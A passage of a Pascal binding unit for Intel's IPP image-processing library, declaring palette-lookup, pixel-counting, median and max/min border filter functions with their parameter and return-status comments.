pTable pointer to palette table of size 2^nBitSize or
array of pointers to each channel
nBitSize number of valid bits in the source image
(range [1,8] for 8u source images and range [1,16] for 16u source images)
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSrc == NULL or pDst == NULL or pTable == NULL
ippStsSizeErr width or height of ROI is less or equal zero
ippStsOutOfRangeErr nBitSize is out of range
Notes:
}
function ippiLUTPalette_16u32u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pTable : Ipp32uPtr ; nBitSize : Int32 ): IppStatus; _ippapi
function ippiLUTPalette_16u24u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pTable : Ipp8uPtr ; nBitSize : Int32 ): IppStatus; _ippapi
function ippiLUTPalette_16u8u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pTable : Ipp8uPtr ; nBitSize : Int32 ): IppStatus; _ippapi
function ippiLUTPalette_8u32u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pTable : Ipp32uPtr ; nBitSize : Int32 ): IppStatus; _ippapi
function ippiLUTPalette_8u24u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pTable : Ipp8uPtr ; nBitSize : Int32 ): IppStatus; _ippapi
function ippiLUTPalette_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pTable : Ipp8uPtr ; nBitSize : Int32 ): IppStatus; _ippapi
function ippiLUTPalette_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pTable : Ipp16uPtr ; nBitSize : Int32 ): IppStatus; _ippapi
function ippiLUTPalette_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pTable : Ipp8u_3Ptr ; nBitSize : Int32 ): IppStatus; _ippapi
function ippiLUTPalette_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pTable : Ipp16u_3Ptr ; nBitSize : Int32 ): IppStatus; _ippapi
function ippiLUTPalette_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pTable : Ipp8u_4Ptr ; nBitSize : Int32 ): IppStatus; _ippapi
function ippiLUTPalette_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pTable : Ipp16u_4Ptr ; nBitSize : Int32 ): IppStatus; _ippapi
function ippiLUTPalette_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pTable : Ipp8u_3Ptr ; nBitSize : Int32 ): IppStatus; _ippapi
function ippiLUTPalette_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pTable : Ipp16u_3Ptr ; nBitSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiCountInRange
Purpose: Computes the number of pixels with intensity values within the given range
Returns: IppStatus
ippStsNoErr No errors
ippStsNullPtrErr pSrc == NULL
ippStsStepErr srcStep is less than or equal to zero
ippStsSizeErr roiSize has a field with zero or negative value
ippStsRangeErr lowerBound is greater than upperBound
Parameters:
pSrc Pointer to the source buffer
roiSize Size of the source ROI
srcStep Step through the source image buffer
counts Number of pixels within the given intensity range
lowerBound Lower limit of the range
upperBound Upper limit of the range
}
function ippiCountInRange_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; counts : Int32Ptr ; lowerBound : Ipp8u ; upperBound : Ipp8u ): IppStatus; _ippapi
function ippiCountInRange_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; counts : Int32_3 ; lowerBound : Ipp8u_3 ; upperBound : Ipp8u_3 ): IppStatus; _ippapi
function ippiCountInRange_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; counts : Int32_3 ; lowerBound : Ipp8u_3 ; upperBound : Ipp8u_3 ): IppStatus; _ippapi
function ippiCountInRange_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; counts : Int32Ptr ; lowerBound : Ipp32f ; upperBound : Ipp32f ): IppStatus; _ippapi
function ippiCountInRange_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; counts : Int32_3 ; lowerBound : Ipp32f_3 ; upperBound : Ipp32f_3 ): IppStatus; _ippapi
function ippiCountInRange_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; counts : Int32_3 ; lowerBound : Ipp32f_3 ; upperBound : Ipp32f_3 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Non-linear Filters
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
Names: ippiFilterMedianGetBufferSize_32f
Purpose: Get size of internal buffer for median filter
Returns:
ippStsNoErr OK
ippStsNullPtrErr bufferSize is NULL
ippStsSizeErr dstRoiSize has a field with zero or negative value
ippStsMaskSizeErr maskSize has a field with zero, negative, or even value
ippStsNumChannelsErr number of channels is not 3 or 4
Parameters:
dstRoiSize Size of the destination ROI
maskSize Size of the mask in pixels
nChannels Number of channels
bufferSize reference to size buffer
}
function ippiFilterMedianGetBufferSize_32f( dstRoiSize : IppiSize ; maskSize : IppiSize ; nChannels : Ipp32u ; var bufferSize : Ipp32u ): IppStatus; _ippapi
function ippiFilterMedianGetBufferSize_64f( dstRoiSize : IppiSize ; maskSize : IppiSize ; nChannels : Ipp32u ; var bufferSize : Ipp32u ): IppStatus; _ippapi
{----------------------------------------------------------------------------
Names: ippiFilterMedian_32f_C3R
ippiFilterMedian_32f_C4R
ippiFilterMedian_64f_C1R
Purpose: Filters an image using a box median filter
Returns:
ippStsNoErr OK
ippStsNullPtrErr pSrc or pDst is NULL
ippStsSizeErr dstRoiSize has a field with zero or negative value
ippStsStepErr srcStep or dstStep has zero or negative value
ippStsMaskSizeErr maskSize has a field with zero, negative, or even value
ippStsAnchorErr anchor is outside the mask
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
dstRoiSize Size of the destination ROI
maskSize Size of the mask in pixels
anchor Anchor cell specifying the mask alignment with respect to
the position of input pixel
}
function ippiFilterMedian_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMedian_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMedian_64f_C1R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{----------------------------------------------------------------------------
Names: ippiFilterMedianCross_8u_C1R
ippiFilterMedianCross_8u_C3R
ippiFilterMedianCross_8u_AC4R
ippiFilterMedianCross_16s_C1R
ippiFilterMedianCross_16s_C3R
ippiFilterMedianCross_16s_AC4R
ippiFilterMedianCross_16u_C1R
ippiFilterMedianCross_16u_C3R
ippiFilterMedianCross_16u_AC4R
Purpose: Filters an image using a cross median filter
Returns:
ippStsNoErr OK
ippStsNullPtrErr pSrc or pDst is NULL
ippStsSizeErr dstRoiSize has a field with zero or negative value
ippStsStepErr srcStep or dstStep has zero or negative value
ippStsMaskSizeErr Illegal value of mask
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
dstRoiSize Size of the destination ROI
mask Type of the filter mask
}
function ippiFilterMedianCross_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ): IppStatus; _ippapi
function ippiFilterMedianCross_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ): IppStatus; _ippapi
function ippiFilterMedianCross_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ): IppStatus; _ippapi
function ippiFilterMedianCross_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ): IppStatus; _ippapi
function ippiFilterMedianCross_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ): IppStatus; _ippapi
function ippiFilterMedianCross_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ): IppStatus; _ippapi
function ippiFilterMedianCross_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ): IppStatus; _ippapi
function ippiFilterMedianCross_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ): IppStatus; _ippapi
function ippiFilterMedianCross_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiFilterMedianColor_8u_C3R
ippiFilterMedianColor_8u_AC4R
ippiFilterMedianColor_16s_C3R
ippiFilterMedianColor_16s_AC4R
ippiFilterMedianColor_32f_C3R
ippiFilterMedianColor_32f_AC4R
Purpose: Filters an image using a box color median filter
Returns:
ippStsNoErr OK
ippStsNullPtrErr pSrc or pDst is NULL
ippStsSizeErr dstRoiSize has a field with zero or negative value
ippStsStepErr srcStep or dstStep has zero or negative value
ippStsMaskSizeErr Illegal value of mask
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
dstRoiSize Size of the destination ROI
mask Type of the filter mask
}
function ippiFilterMedianColor_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ): IppStatus; _ippapi
function ippiFilterMedianColor_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ): IppStatus; _ippapi
function ippiFilterMedianColor_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ): IppStatus; _ippapi
function ippiFilterMedianColor_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ): IppStatus; _ippapi
function ippiFilterMedianColor_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ): IppStatus; _ippapi
function ippiFilterMedianColor_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiFilterMedianWeightedCenter3x3_8u_C1R
Purpose: Filter an image using a median filter with kernel size 3x3 and
enlarged weight of central pixel
Returns:
ippStsNoErr OK
ippStsNullPtrErr pSrc or pDst is NULL
ippStsSizeErr dstRoiSize has a field with zero or negative value
ippStsStepErr srcStep or dstStep has zero or negative value
ippStsWeightErr weight of central Pixel has zero or negative value
ippStsEvenMedianWeight weight of central Pixel has even value
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
dstRoiSize Size of the destination ROI
weight Weight of central pixel
}
function ippiFilterMedianWeightedCenter3x3_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; weight : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterMedianBorderGetBufferSize
Purpose: Computes the size of the external buffer for median filter with border
Parameters:
roiSize Size of destination ROI in pixels.
maskSize Size of filter mask.
dataType Data type of the source an desination images.
numChannels Number of channels in the images. Possible values are 1, 3 or 4.
pBufferSize Pointer to the size (in bytes) of the external work buffer.
Return Values:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pBufferSize is NULL.
ippStsSizeErr Indicates an error when roiSize has a field with negative or zero value.
ippStsMaskSizeErr Indicates an error when maskSize has a field with negative, zero or even value.
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsNumChannelsErr Indicates an error when numChannels has an illegal value.
}
function ippiFilterMedianBorderGetBufferSize( dstRoiSize : IppiSize ; maskSize : IppiSize ; dataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterMedianBorder_8u_C1R
ippiFilterMedianBorder_16s_C1R
ippiFilterMedianBorder_16u_C1R
ippiFilterMedianBorder_32f_C1R
Purpose: Perform median filtering of an image with border
Parameters:
pSrc Pointer to the source image ROI.
srcStep Distance in bytes between starting points of consecutive lines in the sorce image.
pDst Pointer to the destination image ROI.
dstStep Distance in bytes between starting points of consecutive lines in the destination image.
dstRoiSize Size of destination ROI in pixels.
maskSize Size of filter mask.
borderType Type of border.
borderValue Constant value to assign to pixels of the constant border. This parameter is applicable
only to the ippBorderConst border type.
pBorderValue Pointer to constant value to assign to pixels of the constant border. This parameter is applicable
only to the ippBorderConst border type.
pBuffer Pointer to the work buffer.
Return Values:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pSrc, pDst or pBufferSize is NULL.
ippStsSizeErr Indicates an error when roiSize has a field with negative or zero value.
ippStsMaskSizeErr Indicates an error when maskSize has a field with negative, zero or even value.
ippStsNotEvenStepErr Indicated an error when one of the step values is not divisible by 4
for floating-point images, or by 2 for short-integer images.
ippStsBorderErr Indicates an error when borderType has illegal value.
}
function ippiFilterMedianBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMedianBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMedianBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMedianBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMedianBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMedianBorder_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMedianBorder_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMedianBorder_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMedianBorder_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMedianBorder_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMedianBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMedianBorder_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMedianBorder_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16u_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterMaxBorderGetBufferSize
ippiFilterMinBorderGetBufferSize
Purpose: Computes the size of the external buffer for median filter with border
Parameters:
roiSize Size of destination ROI in pixels.
maskSize Size of mask.
dataType data type of source and destination images.
numChannels Number of channels in the images. Possible values is 1.
pBufferSize Pointer to the size (in bytes) of the external work buffer.
Return Values:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pBufferSize is NULL.
ippStsSizeErr Indicates an error when roiSize is negative, or equal to zero.
ippStsMaskSizeErr Indicates an error when maskSize is negative, or equal to zero.
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsNumChannelsErr Indicates an error when numChannels has an illegal value.
}
function ippiFilterMaxBorderGetBufferSize( dstRoiSize : IppiSize ; maskSize : IppiSize ; dataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterMinBorderGetBufferSize( dstRoiSize : IppiSize ; maskSize : IppiSize ; dataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiFilterMaxBorder_8u_C1R
ippiFilterMaxBorder_8u_C3R
ippiFilterMaxBorder_8u_AC4R
ippiFilterMaxBorder_8u_C4R
ippiFilterMaxBorder_16s_C1R
ippiFilterMaxBorder_16s_C3R
ippiFilterMaxBorder_16s_AC4R
ippiFilterMaxBorder_16s_C4R
ippiFilterMaxBorder_16u_C1R
ippiFilterMaxBorder_16u_C3R
ippiFilterMaxBorder_16u_AC4R
ippiFilterMaxBorder_16u_C4R
ippiFilterMaxBorder_32f_C1R
ippiFilterMaxBorder_32f_C3R
ippiFilterMaxBorder_32f_AC4R
ippiFilterMaxBorder_32f_C4R
ippiFilterMinBorder_8u_C1R
ippiFilterMinBorder_8u_C3R
ippiFilterMinBorder_8u_AC4R
ippiFilterMinBorder_8u_C4R
ippiFilterMinBorder_16s_C1R
ippiFilterMinBorder_16s_C3R
ippiFilterMinBorder_16s_AC4R
ippiFilterMinBorder_16s_C4R
ippiFilterMinBorder_16u_C1R
ippiFilterMinBorder_16u_C3R
ippiFilterMinBorder_16u_AC4R
ippiFilterMinBorder_16u_C4R
ippiFilterMinBorder_32f_C1R
ippiFilterMinBorder_32f_C3R
ippiFilterMinBorder_32f_AC4R
ippiFilterMinBorder_32f_C4R
Purpose: Max and Min Filter with Border
Parameters:
pSrc Pointer to the source image ROI.
srcStep Distance in bytes between starting points of consecutive lines in the sorce image.
pDst Pointer to the destination image ROI.
dstStep Distance in bytes between starting points of consecutive lines in the destination image.
dstRoiSize Size of destination ROI in pixels.
maskSize Size of mask.
borderType Type of border.
borderValue Constant value to assign to pixels of the constant border. This parameter is applicable
only to the ippBorderConst border type.
pBorderValue Pointer to constant value to assign to pixels of the constant border. This parameter is applicable
only to the ippBorderConst border type.
pBuffer Pointer to the work buffer.
Return Values:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pBuffer is NULL while it must be no NULL.
ippStsSizeErr Indicates an error when roiSize is negative, or equal to zero.
ippStsStepErr Indicates an error when srcStep or dstStep is negative, or equal to zero.
ippStsBorderErr Indicates an error when borderType has illegal value.
}
function ippiFilterMaxBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMaxBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMaxBorder_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMaxBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMaxBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMaxBorder_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMaxBorder_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMaxBorder_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMaxBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMaxBorder_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMaxBorder_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMaxBorder_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16u_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMaxBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMaxBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMaxBorder_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMaxBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp32f_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMinBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMinBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMinBorder_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMinBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMinBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
